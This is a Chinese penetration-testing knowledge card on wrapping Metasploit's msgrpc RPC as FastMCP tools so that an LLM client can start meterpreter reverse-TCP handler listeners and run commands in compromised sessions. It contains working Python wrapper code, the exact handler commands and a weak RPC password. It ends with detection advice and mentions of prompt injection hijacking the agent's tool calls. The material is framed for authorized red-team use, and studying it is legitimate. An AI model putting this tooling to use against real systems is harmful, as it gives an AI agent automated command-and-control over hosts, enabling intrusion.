MCP 封装 Metasploit msgrpc:FastMCP 工具复用 console cid 并由 LLM 驱动监听器与 session 命令
pentest/c2 · verified
一句话结论
把 Metasploit 的 msgrpc RPC(经 pymetasploit3)控制台与会话 API 注册成 FastMCP 工具后,LLM 客户端(如 Cline)可以按自然语言创建 handler 监听器、逐条设置模块参数并进入已有 session 执行命令;能否稳定工作的关键是多次调用间复用同一个 console 的 cid,否则每次调用新建并销毁 console 会丢失模块状态。
原理
msfconsole加载msgrpc插件后,在127.0.0.1:55552暴露 MessagePack RPC(默认用户msf、密码由Pass=指定)。pymetasploit3.msfrpc.MsfRpcClient把 RPC 封装为client.consoles、client.sessions、client.modules等对象。- MSF 的 console 是有状态的:
use exploit/multi/handler、set PAYLOAD、set LHOST、set LPORT、run -j必须落在同一个 console 上下文中才会生效。每调用一次client.consoles.console()都会创建一个新 console;若在函数末尾立即destroy(),下一次调用看到的又是全新环境,之前的use/set全部丢失。 - 典型表现为:AI 依次调用工具并显示“监听器已启动”,但之后在另一个新 console 里执行
jobs返回No active jobs;实际上监听作业已经由原 console 的run -j启动,只是查询它的 console 不是同一个。把cid作为工具参数在多次调用间传递,并在任务结束时才销毁,即可保持一致状态。 - FastMCP 的
@mcp.tool()把 Python 函数及其 docstring 注册为 MCP 工具;LLM 客户端读取工具名、说明、参数和返回类型来决定调用哪个工具、填什么参数。因此 docstring 必须写清调用顺序(先生成 cid,再复用 cid 执行,最后销毁)以及返回值含义,否则模型会按错误的粒度拆分任务。 - console 与会话是两套对象:session 建立后,
client.sessions.list给出 session id 列表,client.sessions.session(id)返回可write()/read()的 shell 或 meterpreter 会话对象。若在 console 内执行sessions -i <id>,提示符会从msf6 >变成meterpreter >,此时继续用 console 写命令可能不按预期执行(原文的getsystem尝试即失败);后渗透命令应通过 session 对象单独封装。 - 该模式之所以成立,是因为模型不需要记住 MSF 命令语法:它把“创建监听器”这类目标拆成工具调用序列,并利用工具返回的
cid、命令输出和 session 列表作为下一步决策的上下文;人工 Approve 是高风险调用的最后一道闸门。
触发条件
- 授权红队/渗透测试环境,Kali 或同类主机已安装 Metasploit,并在
msfconsole中执行load msgrpc Pass=<密码>启动 RPC;RPC 默认只监听127.0.0.1:55552。 - Python 环境具备
mcp(FastMCP)与pymetasploit3依赖,MCP 客户端支持 stdio 方式启动本地 MCP server 并能展示工具调用审批(Cline、Claude Desktop、Cherry Studio 等)。 - 目标主机可从 MSF 所在主机访问;若要测试 session 管理,需要已有一个活跃的 meterpreter/shell session。
- 操作者接受 LLM 自主选择工具,同时保留人工 Approve;若关闭自动审批,模型误调用会直接影响 MSF 控制面。
利用步骤
- 在 MSF 主机启动 RPC:
msfconsole内执行load msgrpc Pass=123,确认输出MSGRPC Service: 127.0.0.1:55552。 - 编写 FastMCP server,至少暴露以下工具:
-
generate_console_bycid():创建 console 并返回cid; -run_command_oneline(cmd, cid):在指定 console 写入一条命令、等待空闲并返回输出,不销毁 console; -run_command(cmd):一次性执行并在结束时销毁 console; -destroy_console_bycid(cid):任务结束时销毁 console; -list_all_shell()、get_a_shell(index)、write_to_shell(cmd)、stop_shell():独立管理已有 session。 - 在 MCP 客户端配置 stdio 启动方式(如
cline_mcp_settings.json中command指向uv,args为--directory <项目目录> run main.py)。 - 用自然语言下达目标,例如“生成一个 64 位 Windows 的 meterpreter 反向监听器,stageless,监听 0.0.0.0:4444,是 msfconsole 监听而不是 payload”。
- 模型按工具说明先调用
generate_console_bycid取得cid,再在同一cid上依次执行use exploit/multi/handler、set PAYLOAD windows/x64/meterpreter_reverse_tcp、set LHOST 0.0.0.0、set LPORT 4444、set ExitOnSession false、run -j;每条命令返回的提示符与输出可用于确认参数已设置。 - 在同一个
cid(或新 console)执行jobs验证作业存在,确认Exploit: multi/handler与监听地址;任务完成后调用destroy_console_bycid(cid)清理 console,监听作业仍在后台运行。 - 后渗透阶段:
list_all_shell列出 session id,get_a_shell(index)选中目标 session,write_to_shell("sysinfo")执行命令并读取结果,最后stop_shell()结束会话交互。
PoC
最小 FastMCP 封装(原文服务的精简结构,未执行):
from pymetasploit3.msfrpc import MsfRpcClient
from mcp.server.fastmcp import FastMCP
mcp = FastMCP("Mytest")
client = MsfRpcClient("123", port=55552)
@mcp.tool()
def generate_console_bycid() -> str:
"""创建 MSF console 并返回 cid;调用任何 run_command_oneline 前必须先调用本函数。"""
return client.consoles.console().cid
@mcp.tool()
def run_command_oneline(cmd: str, cid: str) -> str:
"""在指定 cid 的 console 中执行一条命令并返回输出;同一次任务内复用同一个 cid。"""
con = client.consoles.console(cid)
con.write(cmd)
while con.is_busy():
pass
return con.read()
@mcp.tool()
def destroy_console_bycid(cid: str) -> str:
"""任务完成后销毁 console;后台 job 不会因此停止。"""
client.consoles.console(cid).destroy()
return "ok"
@mcp.tool()
def list_all_shell() -> list:
"""返回当前所有活跃 session 的 id 列表。"""
return list(client.sessions.list.keys())
@mcp.tool()
def get_a_shell(index: int) -> bool:
"""按索引选中 session,供 write_to_shell 使用。"""
global shell
sid = list(client.sessions.list.keys())[index]
shell = client.sessions.session(sid)
return True
@mcp.tool()
def write_to_shell(cmd: str) -> str:
"""在当前选中的 session 中执行命令并返回输出;不支持 bg。"""
shell.write(cmd)
return shell.read()
if __name__ == "__main__":
mcp.run(transport="stdio")
启动 RPC:
msf6 > load msgrpc Pass=123
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: 123
原文验证情况:按上述方式创建监听器后,jobs 能看到 Exploit: multi/handler 与 windows/x64/meterpreter_reverse_tcp;对已有 session 调用 sysinfo 返回了目标主机名与 Administrator 用户名。原文未对真实目标完成 exploit,getsystem 提权尝试失败,因此本卡把该集成定位为可复用的控制面封装,而非完整攻击链。
变体与关联
- 客户端变体:Cline、Claude Desktop、Cherry Studio 等只要支持 MCP stdio 的客户端都可复用;也可用 OpenAI Function Calling、LangChain Tool 等替代 MCP 协议。
- 服务端变体:直接调用 Metasploit RPC、封装
client.modules.use()做 exploit/payload 管理、把 session 操作拆成独立工具;原文展望了模块与 payload 的独立管理。 - 关联卡片:
pentest-c2-mcp-c2-llm-orchestration(通用的 MCP 化 C2 与 LLM 编排,本卡是其 Metasploit/msgrpc 具体实现)、tools-metasploit-cmdstager-flavor-no-downloader(MSF payload/传输选择);MCP 安全侧可关联ai-security-mcp-security-tool-description-poisoning-param-smuggling、ai-security-prompt-injection-tool-call-hijack等,但本卡描述的是红队工具集成,不是 MCP 服务端漏洞。 - 风险变体:MCP server 若从 stdio 改为网络监听且缺少认证,等价于把 MSF RPC 控制面暴露给任意客户端;LLM 若被提示注入,可能在人工审批前构造危险命令;关闭 Approve 或放宽工具白名单会放大误操作。
检测与防御
- 控制面最小化:MCP server 仅以 stdio 本地方式运行,不暴露 TCP 端口;MSF RPC 保持默认
127.0.0.1绑定并设置强密码,禁止0.0.0.0。 - 权限与审批:按任务暴露最少工具;创建监听器、进入 session、执行命令等高风险调用保留人工 Approve;不要把“AI 能调用”等同于“应允许调用”。
- 工具描述即策略:在 docstring 中明确前置条件(先
generate_console_bycid)、参数含义、返回值与禁止事项(如 session 中不支持bg),减少模型误用;同时把外部命令输出当作数据而非指令,防止提示注入劫持后续工具调用。 - 审计与检测:记录每次 MCP 工具调用的用户、参数、返回、审批结果,以及 MSF RPC 的 console/session 操作日志;监控异常高频的 handler 创建、
run -j、session 交互与跨目标命令执行。 - 目标侧检测:MSF handler 的默认流量特征、meterpreter 回连与进程行为仍按常规 C2 检测;MCP 层本身不改变网络侧特征,但会显著提高操作速度与并发度。